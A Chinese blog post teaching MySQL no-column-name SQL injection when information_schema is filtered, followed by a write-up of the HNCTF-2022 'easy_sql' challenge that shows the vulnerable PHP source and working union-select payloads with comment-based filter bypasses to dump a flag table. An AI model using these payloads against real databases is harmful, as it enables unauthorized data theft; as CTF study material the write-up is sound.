概念

在我们进行sql注入的时候,有时候information_schema这个库可能会因为过滤而无法调用,这时我们就不能通过这个库来查出表名和列名。不过我们可以通过两种方法来查出表名:

  1. InnoDb引擎
    从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。
  2. sys数据库
    在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名。

但是上述两种方法都只能查出表名,无法查到列名,这时我们就要用到无列名注入了。无列名注入,顾名思义,就是不需要列名就能注出数据的注入。

原理

无列名注入的原理其实跟给列赋别名有点相似,就是在取别名的同时查询数据。

拿这个users表为例子,这个表有三列,列名分别为id,username,password。此时,我们用无列名查询的方式来查一下表中数据。

可以看到,此时得到了一个虚拟表,列名分别为1,2,3,其中存储了xxx表中的所有数据。

注: 进行查询时语句的字段数必须和指定表中的字段数一样,不能多也不能少,不然就会报错
此处有三个字段,则前面select语句要有是1,2,3。
我们进行无列名注入就是利用了该方法,通过无列名查询构造一个虚拟表,在构造此表的同时查询其中的数据。
select 2 from (select 1,2,3 union select * from users)a;

前面的select 2是查询虚构表中第二个字段,(select 1,2,3 union select * from users)a是把users中所有的列取一个别名1,2,3。并将此虚构表命名为a,此处可以用其他字符。
像这样就可以查询第二列的数据,在虚拟表中,列名都是1,2,3,所以我们在查询语句中要用 2 而不能直接用 2 。要使用"" 不过有时候 也会被过滤,这时候我们就又要用另取别名了。

所以我们在查询语句中要用 `2` 而不能直接用 2 。

select 1 as a,2 as b,3 as c union select * from users;

把1,2,3另取别名为a,b,c,这样可以不使用反单引号,可以看到,此时构造的虚拟表的列名就分别是a,b,c了。此时查询就可以直接通过a,b,c来查。
select b from (select 1 as a,2 as b,3 as c union select * from users)n;
查询成功

HNCTF-2022(easy_sql)

例题分析

<!DOCTYPE html>
  <html>
  <head>
  <meta charset="UTF-8">
  <title>easysql</title>
  </head>
  <body>

  <h2>请输入查询内容</h2>

  <form action="./index.php" method="post">
  <label>id</label>
  <input type="text" name="id" size=30/><br>

  <input type="submit" value="查询"/><br><br>

  <hr>
  </form>

  <?php

  if(!isset($_POST['id'])) exit();


$name=$_POST['id'];
$flag=1;

$db=mysqli_connect("localhost","root","123456","ctf");
if($db==false) exit("数据库连接失败!");

if($name=="") {
  print("<p>请输入完整登录信息</p>");
}
else{
  if(preg_match("/and|sleep|extractvalue|information|is|not|updataxml|order|rand|handler|sleep|\~|\!|\@|\#|\\$|\%|\^|\+|\&|\-|\ /i", $name)){
    die("error");
  }
  $query="select id,uname,infor from ccctttfff where id = '$name'";
  #echo $query;
  @$result=mysqli_query($db,$query);
  print("<hr>");
  while($data=@mysqli_fetch_assoc($result)){

    $flag=0;
    echo "Here is your want!<br>";
    print($data['infor']);


  }
  if($flag){
    print("<p>姓名不存在,或账号密码错误</p>");
  }
}

?>

</body>
</html>

可以看到过滤了
/and|sleep|extractvalue|information|is|not|updataxml|order|rand|handler|sleep|\~|\!|\@|\#|\\$|\%|\^|\+|\&|\-|\ /i
直接看查询语句$query="select id,uname,infor from ccctttfff where id = '$name'";
使用了单引号闭合,也就是说在构造注入语句的时候需要在最后加一个单引号来闭合。

查询数据库:

1'/**/union/**/select/**/1,2,database()/**/'
发现回显位置在第三列

查询所有数据库的名字

0'union/**/select/**/1,2,group_concat(database_name)/**/from/**/mysql.innodb_table_stats/**/union/**/select/**/1,2,3/**/'1

select/**/1,2,3/**/是查询有几个列,一个个尝试,如果是select/**/1,2,3,4/**/就会报错,所以有三列

逐一猜有几列,select发现flag表中只有一个列,取别名为1,虚构表名字为a,

0'union/**/select/**/1,2,group_concat(`1`)/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a/**/union/**/select/**/1,2,3/**/'1

PS:

这里解释一下为什么需要使用最后的union select 1,2,3

select `id`,`uname`,`infor`
from ccccttf
WHERE id = '0'
union 
select 1,2,group_concat(`3`)
from (
select 1,2,3 UNION SELECT * from falg
)a UNION SELECT 1,2,3 '0'

上面的题为了闭合需要在插入语句中的最后使用一个单引号闭合'1'

select id,uname,infor from ccctttfff where id = '0'union select 1,2,group_concat(`1`) 
from
(select 1 union select * from ctftraining.flag)a union select 1,2,3 '1'


但是已知order byfrom后面不可跟'1',这属于语法错误,但是union select后面可以跟闭合语句,因此需要在最后加一个union select语句

参考文章

https://blog.csdn.net/weixin_46330722/article/details/109605941
https://dqgom7v7dl.feishu.cn/docx/doxcnfAleQyWvxtaviJQUyfedGd

最后修改:2022 年 11 月 16 日
如果觉得我的文章对你有用,请随意赞赏